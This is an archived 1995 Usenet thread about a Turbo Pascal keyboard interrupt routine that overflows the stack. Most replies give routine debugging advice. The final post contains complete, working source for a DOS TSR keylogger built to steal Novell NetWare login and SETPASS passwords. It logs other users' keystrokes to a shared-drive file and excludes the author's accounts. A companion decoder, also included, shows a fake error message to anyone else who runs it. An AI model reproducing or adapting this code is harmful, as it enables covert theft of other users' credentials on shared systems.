Google Groups no longer supports new Usenet posts or subscriptions. Historical content remains viewable.
Dismiss

Turbo Pascal: Stack Overflow Error

143 views
Skip to first unread message

Jeeten Ramsewak (bis2D)

unread,
Jun 26, 1995, 3:00:00 AM6/26/95
to
Hi...

I've written an ISR in TP to trap the keyboard. A problem arises when
information is being read from the harddrive and about 30 or so keys have
been pressed. The program that is executing halts with a runtime error 202 -
stack overflow. I've tried increasing the stack memory to the maximum but
this does not help.

Also, I've followed the hints for writing ISR's which was in the SWAG files.

Any help would be appreiated.

Regards
Dan


Trevor Davel

unread,
Jun 27, 1995, 3:00:00 AM6/27/95
to
: I've written an ISR in TP to trap the keyboard. A problem arises when

: information is being read from the harddrive and about 30 or so keys have
: been pressed. The program that is executing halts with a runtime error 202 -
: stack overflow. I've tried increasing the stack memory to the maximum but
: this does not help.

Interesting problem - I haven't encountered anything like this before. It
sounds suspiciously like the interrupt routine is not restoring the stack
correctly after returning, and so using more stack space every time it is
called.

My suggestion is to check that your code looks like this:
{$F+} {you MUST have far calls for an interrupt!}
procedure int9; interrupt; {must declare it as an interrupt}
var {local vars}
begin

inline($9c); {pushf / push flags}
end;

{The inline command isn't always necessary, it seems to fix up problems with
stack overflows in Pascal, you may want to check the pascal example on
Keep(0). Alternatively what SHOULD be in an interrupt routine is an
instruction "port[$20]:=$20", which allows other interrupts to proceed, but
Pascal (usually) takes care of this automatically}

Hope this helps :)

Twylite

__ _|\ / \ / | _ |__ _| __| Trevor Davel / Twylite
| \ \ / ` / | | | _| da...@beastie.cs.und.ac.za
_| _ \_/ _| ____|___| _| ___| twy...@connx.vironix.co.za
GCS s+:+ !v---@ c++(+++)>++++ U++>+++ !W---- po(+) e+* f++ n---- !y+-
01010100.01110111.01111001.01101100.01101001.01110100.01100101

Mathias Block

unread,
Jun 27, 1995, 3:00:00 AM6/27/95
to
Looks like your ISR is getting called every time a key is pressed.
So, after pressing 5 keys, the procedure was called 5 times but at the
same time. Everytime the procedure is called, Turbo allocates stack
memory. So, after some keys, it is eaten up ...
The stack error is only a sign of a wrong programming method.
Your ISR should prevent itself from being called again when already
active - or, if you're advanced and think, you can code that, have
reentrant code and store the new information (key arrived) together
with the old. Simple solution for the first one: Disable all interrupts
when entering the procedure and leave it as fast as possible. (Use
inline procedures with just 'cli' and 'sti', I don't have the hex values
right here.) Another way could be that your proc. tests whether it is
already active and then leaves *immediately* (but this will have to be
done very fast).
I hope you get the idea, maybe someone else will point it out more
exactly if not.
Regards,
Mathias.

Claude Pellerin

unread,
Jun 28, 1995, 3:00:00 AM6/28/95
to
In article <3slkc1$7...@owl.und.ac.za> ram...@batis.bis.und.ac.za (Jeeten Ramsewak (bis2D)) writes:
>From: ram...@batis.bis.und.ac.za (Jeeten Ramsewak (bis2D))
>Subject: Turbo Pascal: Stack Overflow Error
>Date: 26 Jun 1995 06:33:37 GMT

>Hi...

>I've written an ISR in TP to trap the keyboard. A problem arises when
>information is being read from the harddrive and about 30 or so keys have
>been pressed. The program that is executing halts with a runtime error 202 -
>stack overflow. I've tried increasing the stack memory to the maximum but
>this does not help.

>Also, I've followed the hints for writing ISR's which was in the SWAG files.

>Any help would be appreiated.

Sounds like a typical programming error. Without the source, it is difficult
to know what could be wrong... If it is not too big, mail it to me and I will
look at it. Do not post it to the group. Some people might object to large
postings.

Regards,

Claude.

Bernhard Rosenkraenzer

unread,
Jun 30, 1995, 3:00:00 AM6/30/95
to
In message <<3soisb$5...@owl.und.ac.za> 3704d355>, davel #
beastie.cs.und.ac.za@242:4900/99.0 wrote:
> : I've written an ISR in TP to trap the keyboard. A problem arises when

> : information is being read from the harddrive and about 30 or so keys have
> : been pressed. The program that is executing halts with a runtime error 202
> - : stack overflow. I've tried increasing the stack memory to the maximum
> but : this does not help.
>
> Interesting problem - I haven't encountered anything like this before. It
> sounds suspiciously like the interrupt routine is not restoring the stack
> correctly after returning, and so using more stack space every time it is
> called.

The following program, which was originally designed to hack the novell
netware passwords by trapping the keyboard, works fine (Sorry for the
comments in German - I'm too lazy to translate them now.):

program Get_Passwords;
{$M $1000,0,0}
Uses Dos,Crt,Network;
{ Network ist eine Unit, die ich geschrieben habe, um Login-Namen usw.
festzustellen.
Die einzige hier verwendete Funktion ist GetUser. Diese Funktion findet
den Usernamen heraus }
type Pwd=Array[0..99] of byte;
type FileType=record
UserName:String[10];
Password:Pwd;
end;
var OldInt2F:pointer; { Multiplex }
OldInt9:procedure; { Keyboard }
OldInt8:pointer; { Timer }
s:string;
Password:Pwd;
Save_Me:FileType;
Save_Pass:File of FileType;
catching,writing,tsr_wr:boolean;
Counter:word;
DosSeg,DosBusy:word;
const oldstackss:word=0; { TSR-Programme, die aus einem "normalen" }
oldstacksp:word=0; { Interrupt heraus in eine Datei schreiben }
stacksw:integer=-1; { wollen, muessen den Stack verbiegen }
intstackss:word=0;
intstacksp:word=0;
{$F+}
{$I-}
procedure GoOldInt(OldInt:Pointer);
{ GoOldInt springt zu einem alten Interrupt-Handler }
INLINE(
$5B/
$58/
$89/$EC/
$5D/
$07/
$1F/
$5F/
$5E/
$5A/
$59/
$87/$EC/
$87/$5E/$00/
$87/$46/$02/
$87/$EC/
$CB);
procedure NewInt8;interrupt; { Neuer Timer-Interrupt }
begin
asm cli { Stack sichern/aendern }
inc word ptr [stacksw]
jnz @a
mov [oldstackss],ss
mov [oldstacksp],sp
mov ss,[intstackss]
mov sp,[intstacksp]
@a: sti
end;
if (writing) and (not tsr_wr) and (Mem[DosSeg:DosBusy]=0) then begin
{ Nur dann schreiben, wenn DOS keine andere Beschaeftigung hat, um
Abstuerze zu verhindern. }
writing:=false;
tsr_wr:=true;
port[$20]:=$20; { Dem Interrupt-Controller mitteilen, dass der Interrupt
beendet ist }
Save_Me.UserName:=GetUser;
if (Save_Me.UserName<>'BERO') and (Save_Me.UserName<>'ROSENKR')
then begin { Meine eigenen Passwoerter nicht abspeichern... }
Save_Me.Password:=Password;
Assign(Save_Pass,'F:\ALLE\DATEN.DBF');
Reset(Save_Pass);
IF IOResult<>0 then Rewrite(Save_Pass) else
Seek(Save_Pass,filesize(Save_Pass));
Write(Save_Pass,Save_Me);
Close(Save_Pass);
tsr_wr:=false;
end;
end;
asm cli { Stack wiederherstellen }
dec word ptr [stacksw]
jge @b
mov ss,oldstackss
mov sp,oldstacksp
@b: sti
end;
GoOldInt(OldInt8);
end;
procedure NewInt9;interrupt; { Neuer Tastatur-Interrupt }
var inp:byte;
begin
if catching then begin
inp:=Port[$60];
if (inp<$80) and (Counter<100) then begin
Password[Counter]:=inp;
Inc(Counter);
end;
end;
asm pushf end;
OldInt9;
end;
procedure NewInt2f(Flags,CS,IP,AX,BX,CX,DX,SI,DI,DS,ES,BP:Word);Interrupt;
{ Neuer Multiplex-Interrupt: DOS-Befehle abfangen }
VAR s:String;
Count:Byte;
begin
IF AX=$AE00 then begin
s:='';
For Count:=1 to Mem[ds:si] do
s:=s+chr(Mem[ds:si+count]);
if (s='LOGIN') or (s='LG') or (s='SETPASS') then begin
s:='';
For Count:=1 to Mem[ds:bx+1] do
s:=s+chr(Mem[ds:bx+count+1]);
For Count:=0 to 99 do Password[Count]:=0;
counter:=0;
catching:=true;
end else if catching then begin
catching:=false;
writing:=true;
Counter:=0;
end;
end;
GoOldInt(OldInt2F);
end;
procedure Init_TSR; { Stack fuer Interrupt-Procedures ermitteln,
DOS-Busy Byte suchen }
begin
IntStackSS:=SSEG;
asm mov [IntStackSP],SP
mov ah,$34
int $21
mov [DosSeg],ES
mov [DosBusy],BX
end;
end;
begin
tsr_wr:=false;
Counter:=0;
catching:=false;
Init_TSR;
GetIntVec($8,OldInt8); { Interrupts setzen }
SetIntVec($8,@NewInt8);
GetIntVec($9,@OldInt9);
SetIntVec($9,@NewInt9);
GetIntVec($2f,OldInt2F);
SetIntVec($2f,@NewInt2F);
Keep(0);
end.

A6.5 "Decode" - Entschluesseln einer von A6.4 erstellten Datei
(Borland Pascal 7.0, DOS, Real-Mode)
program Decode;
Uses Dos,Crt,Network;
type Pwd=Array[0..99] of byte;
type FileType=record
LoginName:String[10];
Password:Pwd;
end;
var s:string;
Read_Me:FileType;
Read_Pass:File of FileType;
c:char;
a:byte;
procedure Decode_Pass(s:Pwd); { Scan-Codes in ASCII-Codes umsetzen }
var count:byte;
begin
count:=0;
repeat
case s[count] of
1: Write('^');
2: Write('1');
3: Write('2');
4: Write('3');
5: Write('4');
6: Write('5');
7: Write('6');
8: Write('7');
9: Write('8');
10: Write('9');
11: Write('0');
12: Write('a');
13: Write('`');
14: Write(chr(8));
16: Write('Q');
17: Write('W');
18: Write('E');
19: Write('R');
20: Write('T');
21: Write('Z');
22: Write('U');
23: Write('I');
24: Write('O');
25: Write('P');
26: Write('s');
27: Write('+');
28: Write('[RETURN]');
29: Write('[STRG]');
30: Write('A');
31: Write('S');
32: Write('D');
33: Write('F');
34: Write('G');
35: Write('H');
36: Write('J');
37: Write('K');
38: Write('L');
39: Write('Oe');
40: Write('Ae');
41: Write('#');
42: Write('[SHIFT]');
43: Write('<');
44: Write('Y');
45: Write('X');
46: Write('C');
47: Write('V');
48: Write('B');
49: Write('N');
50: Write('M');
51: Write(',');
52: Write('.');
53: Write('-');
56: Write('[ALT (GR)]');
else write('[Scan ',s[count],']');
end;
Inc(count);
Until (s[count]=0) or (count=100);
end;
begin
if (GetUser<>'BERO') and (GetUser<>'ROSENKR') then begin
{ Wenn ein Benutzer ausser mir versucht, das Programm zu starten:
Programm mit unverstaendlicher Fehlermeldung abbrechen. }
writeln('SYSTEM ERROR #0231- General Protection Fault at
0131:321D',chr(7));
writeln('Abnormal program termination',chr(7));
halt(0);
end;
Assign(Read_Pass,'F:\ALLE\DATEN.DBF');
Reset(Read_Pass);
IF (DOSError<>0) then begin
writeln('Noch keine Passwoerter da... :-(((((');
Halt(0);
end;
repeat
Read(Read_Pass,Read_Me);
Writeln(Read_Me.LoginName);
Decode_Pass(Read_Me.Password);
Writeln;
repeat until keypressed; c:=ReadKey;
until eof(Read_Pass);
Close(Read_Pass);
end.

Live Long and Prosper,
Starfleet Admiral Bero (be...@rage.fido.de)

0 new messages